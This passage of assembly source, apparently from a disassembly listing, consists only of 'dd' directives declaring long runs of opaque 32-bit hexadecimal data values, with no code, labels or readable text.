		dd 0CFC4C257h, 28A55AB5h, 0E25EF323h, 6A7B301Bh, 922FB200h
		dd 6140B8EFh, 0FCF82A60h, 761E96A8h, 72071746h,	0F0413401h
		dd 0A9126FC6h, 55BC2A50h, 0E2B01753h, 6BE0331Ch, 720627A7h
		dd 515E1D03h, 34C92154h, 0CC1916F1h, 2E99A8E3h,	656D9B80h
		dd 0DB2344h, 677F5403h,	78DA42A3h, 4CBA2A00h, 6995294Bh
		dd 538B811Ah, 1C8E606Bh, 97014920h, 8B615418h, 1B599D37h
		dd 4D3D0279h, 6B0F4E08h, 3D7B2F29h, 12CDE70h, 9586993Bh
		dd 20A06031h, 0F434F719h, 9525A81Ah, 682AC06Fh,	8010E554h
		dd 7F9559D3h, 0B509B990h, 0E70A8132h, 795C5D60h, 1A6C0FD6h
		dd 0B1B44D3Ch, 6148D124h, 2566C780h, 7ECFB7E2h,	0F418B508h
		dd 0D87581A8h, 485B6413h, 4B785FB1h, 0E01EAB76h, 0AE0CCD85h
		dd 83F95C3h, 0A563E707h, 0F209C445h, 8141A8Dh, 0EB05CB4Dh
		dd 3A56C644h, 0A2D15D8Ch, 0B57C579Dh, 0F6C800D6h, 94FC4103h
		dd 0D92916F9h, 6DA79FACh, 6FFCEABh, 0AA8F57ACh,	10550E82h
		dd 0A73DEBh, 0F503CA99h, 3514B261h, 385E1200h, 0D4589097h
		dd 0C44D8Ch, 0BB002A20h, 7229B34Fh, 26E1F281h, 0ACD8C71Eh
		dd 816045AAh, 30BF159h,	4570A881h, 0A5014827h, 53B22544h
		dd 1125A36Ch, 2C80E3DBh, 0D549C922h, 0C01C0333h, 9159938h
		dd 1B364441h, 0A1BC0F4h, 0BE481937h, 8DA96EFBh,	0EF1C506Ah
		dd 2DDABF21h, 4C402A4Dh, 0FCF90221h, 748B14C7h,	9510938Ah
		dd 10E9181Ch, 78B32Fh, 0D8DE146Dh, 321AC215h, 0C9873100h
		dd 0C721F2A4h, 0E9509485h, 6DCF356h, 64884E0Ch,	0D120FA28h
		dd 0E6614A2Ch, 0FC9AE0A4h, 0FEAA0787h, 1B8D0902h, 54EBC826h
		dd 79E99D25h, 181CF9DEh, 4BA70E7Fh, 966061ACh, 8529CB99h
		dd 58260149h, 145D7A29h, 14EC01h, 104B1BC9h, 8BF5893Dh
		dd 3BAC138h, 81F01130h,	22F76EAh, 8914C283h, 116BB995h
		dd 0F832FFCFh, 4AC02050h, 1CDEA50h, 0FB35FF2Ah,	580C47E2h
		dd 0F01AC22Bh, 3090F390h, 5A4D3812h, 40123E08h,	33C50B7h
		dd 3A81D01Dh, 84194599h, 2D1B4E2Eh, 0E9224412h,	8B1AD0D9h
		dd 857E89C8h, 349019Dh,	4F983C40h, 25D9C206h, 0D6E78B81h
		dd 1D752012h, 5BF80536h, 30C191Ch, 0BD2B33D1h, 1208B24Dh
		dd 5DBCA9F9h, 18492E51h, 0A08B5135h, 288110F0h,	0C114B0A9h
		dd 0C03359B5h, 77AF2BC3h, 77A5683Dh, 0D208044Ch, 8D49AA7h
		dd 6A410DF1h, 0AE14DC03h, 0D18628E8h, 60E6EB33h, 54791C9Bh
		dd 5B3FD1FCh, 33510BA5h
		dd 17F9EAF1h, 1E3DE718h, 576016DCh, 31A57404h, 0B5295B00h
		dd 0DF951335h, 3808F9B5h, 3821FC04h, 75CD7204h,	60EDBE0h
		dd 0DCC4045Eh, 0E6EC6A35h, 0DAA2E05Ch, 95091C58h, 8A28E0F1h
		dd 92B381CBh, 87EAE79h,	601C2B3Fh, 2308E94Ch, 25BC0019h
		dd 3C8A4954h, 0FC7261DDh, 8DB2E822h, 80C26039h,	660B2EC5h
		dd 0F0B95BBFh, 802D690Bh, 588CF35Dh, 0B17586EDh, 489D312Fh
		dd 0D35FE884h, 0F59C04A7h, 1D6C1926h, 40295F35h, 9F0192B8h
		dd 0D583ABD9h, 0EE2BE935h, 0A6E85C23h, 0B2894B75h, 0F600925h
		dd 7E404A8Bh, 0DE643D7h, 0BE61B001h, 5F503990h,	7CE7EF71h
		dd 0B5AEC4A1h, 0BE66072Ch, 0F3E82481h, 4CBF7F64h, 6031DBA2h
		dd 1C0D28h, 69E8F28Bh, 687324E1h, 0B06C278h, 3FD52D9Ah
		dd 62F30086h, 559EED4Ah, 0B6FD8AC0h, 0BF243487h, 1860323Ch
		dd 19F6536h, 0EF9932B2h, 3F0783E8h, 0E7018F7Ah,	88C7FBBCh
		dd 242D24D7h, 992C5681h, 29BA009Fh, 3E6D6A3Ch, 7401B57Eh
		dd 3D422C97h, 2AE013F3h, 0D2E87E5Eh, 0E9F7048Bh, 65541820h
		dd 8891940Eh, 0E80F1ED5h, 0CEDEF627h, 3D786380h, 612D34E1h
		dd 2EE91043h, 799F027h,	2D9DC93Eh, 118E90CEh, 8CC5E476h
		dd 0C4BD02D9h, 9D0175E8h, 0E8FE8B21h, 7A3E06C7h, 7527018Ch
		dd 0F52F6BACh, 0C99A24C7h, 784DA7EAh, 56117CC7h, 4120726Dh
		dd 0CDB104CBh, 9E0675E8h, 0EFF3C00Eh, 0F17773h,	8C0ABF64h
		dd 0F08B4FF9h, 42ADB0CBh, 7002F3BEh, 92005FF4h,	0A913BC3Fh
		dd 344A9D54h, 0A9B11DE8h, 25B849h, 2B235447h, 6670E2AFh
		dd 9A99B915h, 8DB47CAFh, 0BFCE4CF4h, 54CD627Eh,	418B3Ch
		dd 0D37A3B05h, 87DD5000h, 8F293FA5h, 51426C25h,	67EB00BBh
		dd 1FD771Fh, 0FD2F8D3Bh, 6D12AA07h, 0A4300876h,	44E9EC96h
		dd 40E5905h, 0A37F148Ch, 24CF8B66h, 0A32829F2h,	0B14978FEh
		dd 55203D03h, 4A51E803h, 0F052F6ECh, 978BF857h,	0FDD2255h
		dd 0EB995D86h, 61D2519Ah, 3C21BD29h, 0B58D97FAh, 10E89E46h
		dd 28094C83h, 4F2E0226h, 5B0C210Dh, 1075C019h, 17910527h
		dd 0C814336Dh, 3DB0CCB5h, 0AF001BF6h, 43A90852h, 20FBCFBh
		dd 150E8828h, 30C16358h, 44CDA5C3h, 1D5F250h, 1008A3F5h
		dd 9E339350h, 3D2FBDAAh, 378800EBh, 0A769BF87h,	0A3110509h
		dd 0E8A88F44h, 37112D0Eh, 5EC9FC4Bh, 136E2500h,	0F4C767E3h
		dd 0ADE439A1h, 0B16BE898h, 0C69D8D0Fh, 0ECD61908h, 6579AA0Ch
		dd 536E6EF9h, 3DE43105h, 50E01C35h, 34B03819h, 44AB7003h
		dd 0DBD8B6A2h, 0D2E3C0C2h, 5E850182h, 6A3C1939h, 8A091461h
		dd 0B7B6F8E5h, 0BC23DF37h, 7D00929Dh, 424F6EA9h, 98152DCEh
		dd 5947FBC0h, 51FE8595h, 0CBD08Ch, 0CF28DCA9h, 5919B30Ah
		dd 2C88995h, 53D82B9Bh,	555A7063h, 3F93F526h, 0F8A1BC09h
		dd 0E8602821h, 0EF53003Ch, 0A9F0D8D3h, 5E79705Bh, 0F2F61E8h
		dd 8495E331h, 0C88F565Eh, 582B5A5Ah, 0BB788E93h, 869F3AD9h
		dd 0E5C009F3h, 7617C6Ah, 0D8713A08h, 70F29D01h,	835B56F6h
		dd 7D3EE5F0h, 3300F1FCh, 8D2ABFFBh, 0BB30D595h,	0C1DCD8B4h
		dd 5291B009h, 2DED60Ah,	1A89ACA0h, 38DCD3DCh, 3F84EF1Fh
		dd 0F80C820Fh, 5604A588h, 0F9131355h, 27ADC458h, 4428902h
		dd 2CDCD2D6h, 1D0157C0h, 850AFA60h, 9DBA1711h, 277DDC23h
		dd 0BD9543C8h, 36AB04FDh, 0D690FABFh, 46AB657Eh, 0B9D2210h
		dd 0CEDBA04Eh, 1550E19Dh, 2EDD2851h, 68E8152Dh,	59481100h
		dd 16A136ECh, 0D9BD1489h, 31054B1Ch, 742591B5h,	0A8C0AD91h
		dd 0CC6F015Dh, 29544538h, 1DBA8B06h, 80BEBD12h,	4842F9A8h
		dd 0B51423D0h, 4D5A267Dh, 0FBCBEh, 7402AAA3h, 0C6D78163h
		dd 603BAE25h, 0D0301568h, 332BD25Fh, 5880AB87h,	0B01C05A4h
		dd 37003B95h, 0FFE5F6BEh, 29F92877h, 926FD0E9h,	0A7148516h
		dd 45A1A1B4h, 410DDA30h, 25F631Dh, 65EC1672h, 0F0998C2Dh
		dd 269A1858h, 9D09D92Bh, 44A00178h, 9F913045h, 13B0249h
		dd 0CBC931Ah, 0B9D5803Bh, 0B41AD34h, 0D2E6E9E4h, 3F796F22h
		dd 0FD0E72BEh, 55FF2C2h, 0CB1C336Bh, 0D4C52054h, 0E3810091h
		dd 0E952A0E6h, 4B45C00Bh, 54117C2Dh, 0FAE00525h, 61583372h
		dd 0D91203A5h, 0A7BF0C8Fh, 83365E75h, 0DC90B4C2h, 18CD038h
		dd 49E0A71Eh, 43FE34Eh,	140A116Fh, 61D61AEEh, 0AEB775CBh
		dd 0C677070Dh, 8D0DBF33h, 40611969h, 0DFE9D732h, 8006BDB5h
		dd 7CE64F6h, 6C039D6Eh,	8BB0D668h, 74E50C8h, 0B3024B75h
		dd 3017F2C0h, 5126B2CCh, 8D0A3CDBh, 0E1242703h,	941F2108h
		dd 205B7E87h, 33137ECEh, 680CE200h, 599DDD76h, 0CF88066Fh
		dd 46BF9E6Ah, 4AC495h, 90EBA165h, 43CAD94Ch, 0B374521Dh
		dd 8AA28513h, 0E76D5D00h, 59B854AEh, 9145ACB0h,	88042E30h
		dd 5EFE5350h, 0BEAC81F4h, 0C3AF1565h, 10B8DDB9h, 30C1684Ah
		dd 529E1h, 41B8D170h, 0B7B7C58Ah, 0A5AC04A8h, 0B5C781F6h
		dd 8236FE1h, 77C092F8h,	19493602h, 496E4F2Bh, 512E7B5Fh
		dd 60C90B38h, 1500BC44h, 6D5E01BCh, 0FB6ACAAh, 0C4F5FCB0h
		dd 81C8A805h, 52575C6h,	410D70F0h, 0DDA43131h, 5B127932h
		dd 5C0FD7CCh, 6089F18Eh, 30AD3D03h, 0C9D5455Bh,	45E0B0A6h
		dd 0C402736Eh, 823B5FD3h, 0CD7441E9h, 235989ADh, 701818D9h
		dd 77DA2B0Bh, 0D9E7D14Eh, 0E961817h, 662578BBh,	26AE885h
		dd 0DCCDD289h, 185197A2h, 35C432D7h, 0BAEF8080h, 22B716DFh
		dd 2FFF217h, 666DDA0h, 0F1E44BFh, 0BB061031h, 453E78F4h
		dd 0BD84F612h, 400E51Bh, 9082B750h, 37D6F2BFh, 70920B41h
		dd 6DD947AFh, 2D660ED4h, 4BA471A5h, 0C4811037h,	236A52B1h
		dd 5B8DD430h, 7BE21D01h, 0BBA3845Eh, 3D00BF6Fh,	1EEEB8EDh
		dd 0F078385h, 6A5CBF69h, 0D1FF78D0h, 20DF1C81h,	0BF13D230h
		dd 0AC25D0F7h, 430C4FF7h, 0D4A8CF14h, 8D4A0FA2h, 300E18B3h
		dd 8060838Eh, 26A4FDBh,	1211F6C4h, 86B35002h, 7154864Ah
		dd 8ED000DCh, 294AF0E3h, 1A52C9BDh, 99925D4h, 8984B770h
		dd 0F4B02364h, 5A09CE41h, 7D07624Dh, 7925D459h,	11C008Eh
		dd 994230BEh, 101BDF48h, 5F022635h, 0C8AE95Bh, 0DC5854F6h
		dd 2827E5CDh, 5870A3A0h, 62D9B401h, 0E59D0157h,	0BB5B5534h
		dd 7BBB2041h, 9487820Dh, 0CE0279D1h, 8100195Ch,	12B54EF7h
		dd 2F56895h, 5BB7B39Fh,	40DECEA9h, 0DE784C25h, 6ED52514h
		dd 9D359F50h, 15E8F813h, 0A889DF13h, 0EDA5E9Bh,	0AAC01CC8h
		dd 2E5CF9h, 0C005740Ch,	81FF6ACBh, 0A5CBEB50h, 0B55F0177h
		dd 0DCB3C642h, 108B7EFCh, 92E90B18h, 44915E01h,	10B00C34h
		dd 0A1D209Dh, 0BC70E630h, 0A0E3B9F3h, 9E2A4A2h,	71E42428h
		dd 0DC7C8282h, 6989B1DCh, 760D4E01h, 401D4A29h,	60C8B68Bh
		dd 8E29533h, 3B214C9Fh,	0EF8002D6h, 4AB4735Eh, 9E04A282h
		dd 399209E7h, 4AFD7F85h, 0BA615A04h, 0C0B7BD06h, 0A7423EF0h
		dd 25C30354h, 0EB129031h, 3CC18B89h, 5A25B87h, 0E281F601h
		dd 0D4FC7C02h, 0AE5A0CA8h, 1C9D78C1h, 2757AD05h, 171F960h
		dd 0AAF12583h, 9FD0D438h, 0CF7D7700h, 0ED93CA09h, 0B88A77BEh
		dd 59D2E2Eh, 2B61801Bh,	0D18BF9C8h, 4B606048h, 0C7814C40h
		dd 171D6C06h, 24E96153h, 4237406Ch, 0A438C5E2h,	49F3B300h
		dd 44C0B86Fh, 0BEE3121Ch, 0D532A0A2h, 9B99305Fh, 16B4CE3Ah
		dd 4B055ECAh, 0FBC23107h, 0E154C42Bh, 0AC00F323h, 5287B46Eh
		dd 10968D90h, 6F6B6C40h
		dd 0E51901CAh, 1A88B479h, 0D0D060E0h, 1E76FEA2h, 5EBD0B89h
		dd 0E96044E5h, 2C48C0D7h, 78DA67Dh, 0FFB9F68Eh,	0FEFB74C3h
		dd 3D0A5AC0h, 317312CBh, 49A1FB85h, 6042303Eh, 7B7ED881h
		dd 513EF412h, 58FAA702h, 88777461h, 0ACBE2684h,	82496C9Dh
		dd 2F1D81CDh, 0FE0F2874h, 0C8F3DE8Bh, 9D3429D5h, 0F8B81F61h
		dd 2AB58D80h, 3094DC65h, 5A22DF04h, 0F380DD80h,	0A36C9FFEh
		dd 1FABF39h, 68362DF7h,	0AF552FB9h, 0AE00A3B2h,	374E550Dh
		dd 360041FDh, 784922ACh, 1EE7B133h, 8C2C6962h, 0FCD85BF8h
		dd 4E86BB07h, 8B6152A3h, 4D44B8DAh, 7BA800Ah, 1B91BD86h
		dd 33AD0988h, 2D80D1C2h, 4E983D0h, 18F4752Ch, 0B16808DEh
		dd 6D800BE9h, 0E184BA32h, 0A5A25BBDh, 0F5DFD0E6h, 1867C025h
		dd 3C89520Eh, 5B405DB5h, 1B880D34h, 990BA6D8h, 958B82EDh
		dd 8ED62941h, 0EEE095F4h, 462465B7h, 811EE542h,	0A707CDEh
		dd 901341EBh, 2BA12D2Ch, 2D42706Fh, 189F6974h, 910B9BBh
		dd 0BF503E1Ch, 337FDC2h, 95FE08C1h, 581965C7h, 3A065480h
		dd 20D70581h, 0C1349DBEh, 3A08915Dh, 0D55F1F22h, 0B280D9BDh
		dd 57A862F4h, 0A47F0C9Bh, 0DF78B858h, 109AD158h, 0B37B2D41h
		dd 18165172h, 0DE9C24B0h, 5FB177Eh, 5E4DB1F6h, 0E1FFCC8Ah
		dd 334311D8h, 4E043010h, 3CDEB720h, 81EF24D1h, 1C908DEh
		dd 0C03C1D21h, 6829892Eh, 0D2F0963Ah, 18F152C8h, 860F0306h
		dd 0B727CDE0h, 0E06DEDA1h, 2128AE13h, 803F0600h, 29178F5Ah
		dd 5355A95h, 0E81EB73Dh, 98F64B89h, 0B75AD8E0h,	0D259B601h
		dd 170FF170h, 0BA015763h, 232E9D50h, 41AB2F85h,	0E1805F69h
		dd 536E2E04h, 7FA6BF00h, 6ED57299h, 0F31B9A0h, 0A2C90A80h
		dd 5D5862B4h, 0E2DEBBDEh, 2AC0051Eh, 0EBE97552h, 5755C14h
		dd 45B95824h, 14C15E81h, 0C910196Dh, 8C0F0C2Ch,	98A4B02h
		dd 0F18533F9h, 0DA5313E2h, 135E4670h, 0B90C584h, 0DC7C509Eh
		dd 97A3EA40h, 4FA00355h, 713E9164h, 0F757E4C8h,	8918123Dh
		dd 7B905FCCh, 0C19270BEh, 540C0E09h, 8976B056h,	1CF52885h
		dd 98666369h, 4EE9EA68h, 1B2C9102h, 63CF1A4Ch, 6111B3A0h
		dd 0EF00B476h, 37EBBE6Ah, 6FC910h, 0AA450E38h, 815B5F52h
		dd 15243402h, 5602518Ah, 7828DC8Dh, 0A125CCEBh,	813AA231h
		dd 1B111F19h, 9F726B80h, 4BE87FF9h, 0BD2D8971h,	858DA175h
		dd 0B1604EC2h, 46E31E80h, 0A70196E9h, 0E3AEA00Eh, 38BF24D0h
		dd 5DBA1835h, 31931DB7h, 0C7F91C3Fh, 4726181Ch,	9F1974E0h
		dd 8BEB05C6h, 0EB4EBEB5h, 0A072F17Ah, 0B7F59DB7h, 0FD85F7A3h
		dd 0A0B4E7B4h, 0FA92E231h, 0A09F4A66h, 0B7830609h, 707F534Bh
		dd 0C09E9A0h, 80849439h, 379F88A6h, 0B70F121Ch,	46D771D9h
		dd 929B3B04h, 711B1F80h, 0DF3A8096h, 8B600A50h,	311C9D0h
		dd 61F98751h, 9289DAFFh, 7081C0C7h, 9620259Eh, 0B52ACD8Eh
		dd 0F4C7A5EBh, 7601644h, 72903F34h, 686EC8B5h, 50931C79h
		dd 1352927Dh, 0A8B694CBh, 0F214DB4Dh, 0A8B37AD9h, 79086B7h
		dd 0A7BB7D4Fh, 8D2B02B7h, 70B06A46h, 3E2D0120h,	0A1BBBB50h
		dd 400B5627h, 91419DDCh, 0F8E1E4EDh, 24971120h,	0C8BD2B3Fh
		dd 61FB09C7h, 70DC4ED6h, 1B400C2h, 559EE0E6h, 0F9629D33h
		dd 0C685C7FDh, 8110979Ch, 0AAB0B5A9h, 0DF696582h, 81238136h
		dd 0A1CE11F7h, 0E146F330h, 927A3Ah, 0D9838F86h,	4BE79257h
		dd 2D55A04Dh, 9400D41h,	0E0110C30h, 1E01E644h, 0B510E8C1h
		dd 4CE80F0Eh, 0A45803C4h, 0EB37E776h, 10783636h, 58B8E764h
		dd 29CD501Bh, 18032128h, 1133458h, 0B1B2757h, 0CF38BFF8h
		dd 10DC930Fh, 6FE2ABF6h, 0EBA0457h, 2EF0B812h, 0C0528605h
		dd 0D699856Eh, 829FDB5Dh, 0E2626E72h, 0CC1C0A92h, 0B2F89B14h
		dd 2B3D5D65h, 0ECC59E81h, 83301602h, 0DA125C25h, 62DACB82h
		dd 380FE642h, 4F17BB62h, 25F97B40h, 0C32A8B81h,	244EB6FDh
		dd 80DFEC9Bh, 1699AB9Fh, 0C1055FB9h, 6C70851h, 80043386h
		dd 800B69B5h, 0E975650h, 0A61EB27h, 3109F236h, 9F5A7D85h
		dd 0B4745A8Ah, 75E800DCh, 0C4935377h, 134C88F3h, 6861134h
		dd 0C9BD030Bh, 8A5F7DA1h, 4FAF7CDCh, 0A5E9FC13h, 1903BEB8h
		dd 8C968471h, 1F2108Eh,	3EB0462Fh, 0C712829h, 34A0C90h
		dd 0BC84B0DEh, 935C135h, 86890025h, 47599CC4h, 0FC65A97Dh
		dd 0D670A4h, 0FEB64227h, 7A4C9B76h, 5F7157F4h, 4C28312h
		dd 7D8058BCh, 0C0AE5B4Fh, 0C5E79A01h, 0ABF1D4EBh, 8A2D0660h
		dd 2050A502h, 1FDC2154h, 3B612F97h, 0F4952912h,	0AB05B50h
		dd 482817Dh, 952B884h, 0ECA1C676h, 26B1F780h, 63F25A30h
		dd 87F9091Fh, 603AC74Dh, 0F10E4C8Fh, 53FEDD02h,	83A27EA8h
		dd 5B1F2DA9h, 82153571h, 0EBA5C5B8h, 79BDA296h,	4AF45A00h
		dd 7DB189C2h, 61F902D9h, 0DFA8BACEh, 0CC203DFAh, 3A54EA10h
		dd 7ED85E3Ch, 2FE35F2Ch, 5170ED5Bh, 0BE3D01CFh,	31BA8854h
		dd 2314C99Dh, 82FD93AEh, 902EEEA8h, 0D8141509h,	30251382h
		dd 2091D292h, 0D2846BBh, 4A787C4Ch, 784831A8h, 2CC4258Bh
		dd 0B91E1D54h, 0B1509688h, 901380DBh, 54F862E4h, 0AB56920Ah
		dd 0D0AF8DA6h, 0D4D62967h, 8D29036Ah, 0ED1323DDh, 89571595h
		dd 60E0CCA6h, 87028897h, 0F7E537A6h, 0B7369090h, 927D9724h
		dd 700C5618h, 8900762Ch, 0FC644CEDh, 249EFA9h, 0C4523383h
		dd 918296D0h, 2041341h,	0D8B24D0Bh, 347D1340h, 1CB23D9Dh
		dd 51DC035Ah, 4FE94D5Dh, 6D1CA7C6h, 0E49BC1C4h,	516970CFh
		dd 1F378C94h, 2375BB00h, 0E9770B09h, 59D8F463h,	0CEDCBF05h
		dd 0A49BC18Bh, 64C8FDC2h, 8584FDC0h, 4F1FA058h,	551B3A02h
		dd 6F9C565Fh, 6B8F80CEh, 84BB5D7Dh, 0A13093F4h,	0B9062904h
		dd 0EB1D816Eh, 0B8B17BD1h, 5230AF2Fh, 0EDB12DBBh, 0C6DDDB7Fh
		dd 38C08939h, 9CADC7Ch,	7058D841h, 2D449Fh, 67AB1D3Eh
		dd 3F7E6F5Fh, 0FA56C826h, 0B013908h, 0D5C4505Bh, 7496652Eh
		dd 13C85200h, 2A2F45D5h, 9483FFEFh, 0B009DC2Dh,	0DCD227C7h
		dd 16642525h, 4980109Fh, 4A76039Fh, 2B111D3Ch, 606FEEFCh
		dd 0FCAA9D00h, 0E5DEEB37h, 44B6B825h, 660B00A6h, 6C3CAB94h
		dd 0A3057859h, 20908F9Dh, 0B563C604h, 0BC5964EFh, 0D5CF12C8h
		dd 6A4F92B7h, 379B1D23h, 394D3B40h, 5B32C8EBh, 0DF40CD07h
		dd 0B7E8BAB0h, 0F03EB438h, 0B352D002h, 56D1FFE1h, 15BB519Bh
		dd 25B11481h, 6F026A01h, 1E801F9Bh, 9EFDE2CAh, 0B5092804h
		dd 0ADBD1F1Dh, 7C90DF2Fh, 4F00C81Eh, 97AD6AFCh,	3EB35EAFh
		dd 930A142Dh, 806932E1h, 0E83AC46Ch, 9800E737h,	9FE34B3Ch
		dd 28FA6720h, 7B9905Bh,	0B7506BA5h, 6E6D8BEDh, 861D3BC0h
		dd 0FE294B60h, 0C061A092h, 950A1507h, 0D4B4C896h, 0F8E700D4h
		dd 0CD6BBAE3h, 604F31Ah, 0DC2E9A9h, 86B1AAACh, 565FC6DCh
		dd 0C83EDCDBh, 0CC0E836Ah, 912A6B89h, 142E525Dh, 8B84D75Ch
		dd 0D2A0ACF8h, 0D5E065E6h, 831ECCC8h, 0DB0B4884h, 0D9B182B0h
		dd 1CD0082Ch, 50F74CBFh, 707AD20Ah, 289B79Dh, 86C660E7h
		dd 11026FC1h, 622BDE8Ah, 9C189EAh, 6057011Ah, 3A8061C4h
		dd 5B25EEF2h, 4D25F665h, 9C8241CCh, 2E4C430h, 43A85E04h
		dd 0F8ACFB8Bh, 8B6AF9C7h, 0B9708FF3h, 4EC09590h, 0BA83127Dh
		dd 1F72E8h, 6A645213h, 964A70C5h, 0F1C97A01h, 121BD86h
		dd 0AF6ED8h, 665F0E6Fh,	619D22B9h, 0F62442B7h, 1A467EA4h
		dd 4910B700h, 0EE55C9Eh
		dd 65BD8913h, 622B3AF1h, 0B201039h, 8413559Dh, 89BD2908h
		dd 0FF614B1Dh, 71E40015h, 0EB8102F5h, 3A9F8ACAh, 0E997375Ch
		dd 1E64D137h, 2E174D21h, 0D28C3725h, 10B77A1h, 61C65535h
		dd 6E97241Dh, 0DBDC331h, 0C12D3739h, 1B58CA89h,	0A985291Ah
		dd 3E538391h, 0FB8D4F0h, 0B318205Ah, 1F12EFCFh,	5AAC2B0Fh
		dd 51347519h, 86812ED1h, 4956C6C0h, 84EB1814h, 4ED30A94h
		dd 5AA41F5Ch, 8C047E94h, 11314F5h, 46F20312h, 0E3032B6Ah
		dd 6E04DF80h, 0DCE44B0Ch, 22C8AD94h, 55E93022h,	67CF800Bh
		dd 0C6C8534Ah, 0ABA400B0h, 98D741ACh, 0CC00A14Ch, 8502F5AAh
		dd 12F787BFh, 0BC5F6642h, 0CF50CA79h, 3F0BA908h, 21BCC84Ah
		dd 73DF6BA8h, 0A5502E7Eh, 5981FE1Ch, 0D2C4F354h, 0D2047312h
		dd 0B7ADE1F5h, 196EB284h, 0C83F7936h, 12C952C2h, 5B2A25D5h
		dd 239B6BABh, 74110416h, 85A2C8h, 546E8CF6h, 39EEC6F8h
		dd 0DA008D1Ch, 35BEAC92h, 4859B984h, 0C3DB5A40h, 47127480h
		dd 955E098Bh, 0BDBB7F40h, 2578FE6Fh, 0FA62DBB3h, 0BDC365Eh
		dd 0F9EF803Fh, 0FC9771D1h, 0E5CECBB8h, 0FD5C96C0h, 66F0A628h
		dd 87C1BD00h, 0DDAB43D9h, 0E94713A0h, 23846AB8h, 0E84F001Ah
		dd 2A75BDF2h, 0DB81B503h, 0C34341EFh, 0DD1DDA31h, 9D2E520h
		dd 0D4B5585h, 0DC4D5A9Fh, 132C70ACh, 0F8282D1Dh, 3404D5A6h
		dd 0FC95B346h, 9B4F46B9h, 7C12C107h, 0C931996Ch, 0C062BE1h
		dd 0B9016927h, 0A2713169h, 752B7965h, 0A8F7A93Eh, 127E0098h
		dd 92F0F99h, 41E3486Ah,	2E07D9FAh, 811F402Fh, 8D5D44CBh
		dd 8034A802h, 891D649Bh, 2E4E005Ah, 83A5230Eh, 5601C3EFh
		dd 2FE09D9Ah, 282E5BD0h, 43D28255h, 0EBB8BBEDh,	811E2227h
		dd 29BD330Ah, 0E1B81D34h, 6DE7B3Eh, 94CFB24Ah, 499D2FF6h
		dd 52560442h, 8CBD0163h, 0E1FFD6D1h, 2FF08366h,	6209A012h
		dd 711EBBDCh, 4614278h,	7EC3D5Fh, 148359B9h, 0A288B82Dh
		dd 3BD62B4Fh, 0C58503C0h, 4758217h, 61090C2Fh, 0F8449171h
		dd 0E7B7E652h, 0DEAF17A0h, 5BA212C1h, 3F8F073h,	60A46982h
		dd 8042DB3Eh, 972EC9C1h, 0E2AA4E36h, 2F782C00h,	0CFF39900h
		dd 4C3492Fh, 54AC3008h,	332E2B6h, 7C6BAB21h, 1B889837h
		dd 0FA2A0938h, 0D4705BA4h, 0C2C86D9Fh, 0BB5CF898h, 0F5A05113h
		dd 1B049F5Fh, 0DC9EB82Dh, 3D7BA721h, 0BE067A50h, 0BC9A2FF5h
		dd 0A1E1834Dh, 4E9254B2h, 5EA6E3DEh, 0BF004BE3h, 7BF6A880h
		dd 0C65EB350h, 2DB558E4h, 2FE61C59h, 9680D44h, 0FFC4D72Bh
		dd 3C472E54h, 0D02AD90h, 0BB4F4C81h, 0D448C274h, 0A7DE5A2Ch
		dd 83A600DEh, 0F65802E6h, 28254B13h, 968946D4h,	527C40BDh
		dd 0F300D087h, 0E28AEF54h, 2D11533Dh, 30F98B81h, 36E35F12h
		dd 4575116h, 34B1C5h, 8E95F5Bh,	0F43FB402h, 5EF2DB02h
		dd 5C11CB80h, 0B174693Eh, 0AA1C0BDCh, 0DDD03225h, 0A34ACA09h
		dd 895A7161h, 5271D88Bh, 86066ACh, 1946268h, 542DF337h
		dd 0D8152BF1h, 0FB25B08Bh, 0B444CEABh, 0DD12D4B4h, 0F3093465h
		dd 6D44D9h, 89699954h, 6F91572Eh, 0A440903Bh, 17601606h
		dd 4616DDFh, 4D7C29FAh,	0B37598E4h, 33806E4Bh, 48E6CF81h
		dd 9613E61Eh, 87720950h, 52001673h, 0BF75A6B9h,	61582D28h
		dd 0F4C7BB87h, 0D313B908h, 2780AFDAh, 3C5482FCh, 0F960E712h
		dd 0B0B8C8h, 382470FFh,	4C83D46Dh, 74292200h, 0B8FE20C0h
		dd 89BA2469h, 11950EF6h, 0BF5EA416h, 56BC6E07h,	6800B326h
		dd 4C13D877h, 0C84AC50Eh, 0B7F84578h, 882F2097h, 530E0CDBh
		dd 7D00EF60h, 0F881ACEBh, 0A800946Dh, 8C2A1229h, 4B71DD42h
		dd 0C1ABA980h, 615ECFF2h, 0BB4C252Eh, 2012B76Fh, 20A31657h
		dd 0C1BB5074h, 5AE70D1Fh, 0AF24FA24h, 6FF455DEh, 0C0E2773Bh
		dd 0C0504761h, 929D6C13h, 0DA5B48A7h, 88058008h, 98EAF165h
		dd 14D12D10h, 0FA2D7573h, 9A7C02ADh, 6137F8DBh,	2A70DC73h
		dd 4AF548DBh, 4BE60828h, 25B78B3Dh, 18BC65F9h, 41E91D2Bh
		dd 4FF083BBh, 6F50163Ch, 2013AC19h, 0A99D952Bh,	0A1CF0772h
		dd 44A6D3F5h, 0EBD390F0h, 63012A72h, 81E148C9h,	0AFCC96EFh
		dd 0AB149741h, 6A5AA043h, 952F0174h, 75300710h,	7234E94Bh
		dd 0D3F5A84Fh, 1BB9AD04h, 0B3D27EA9h, 0B84B5D82h, 0A2680248h
		dd 231EE4BCh, 0D421FE85h, 0ACA8ADCDh, 7C098C1Bh, 82EFCA5Dh
		dd 5C32A307h, 78C069A6h, 0DB980E7Bh, 74948B5Ch,	0E7F9D5F7h
		dd 75D80829h, 22E442Dh,	0CDC62914h, 60DDBAC7h, 97128DF0h
		dd 3F8A7D19h, 49DFC483h, 6BF8EFC5h, 78F8461Ch, 0B1ECAA97h
		dd 387BB3D2h, 50B38060h, 0B5F806BAh, 2961095Fh,	0AF432185h
		dd 5A69B8BCh, 0FC001C7Bh, 1EE3BC2Fh, 4A26A6E0h,	0DD09B04Ch
		dd 8224CE15h, 43DFD6E2h, 127A04C2h, 172B2C41h, 4156E5Ah
		dd 898B36C6h, 2E301282h, 0BBFD2DCEh, 8F5D8D4Bh,	920AB918h
		dd 0D55063E6h, 20C4B791h, 21E0CA8Dh, 556E725h, 0BF668376h
		dd 0DAE1C247h, 644184Eh, 82DB05F4h, 0E7CC1849h,	12DA4BC4h
		dd 0F261EE92h, 1430888Fh, 0EA8A3260h, 63406184h, 17CDDBBh
		dd 91C37B7h, 0F3149E18h, 0EF302527h, 0F4E24007h, 28259DD2h
		dd 1366C546h, 0ECECF95Fh, 0E4C70057h, 0C8AB97Bh, 84973410h
		dd 500B1ADAh, 0B327B9C6h, 569542A5h, 2B78DC02h,	66A4BD04h
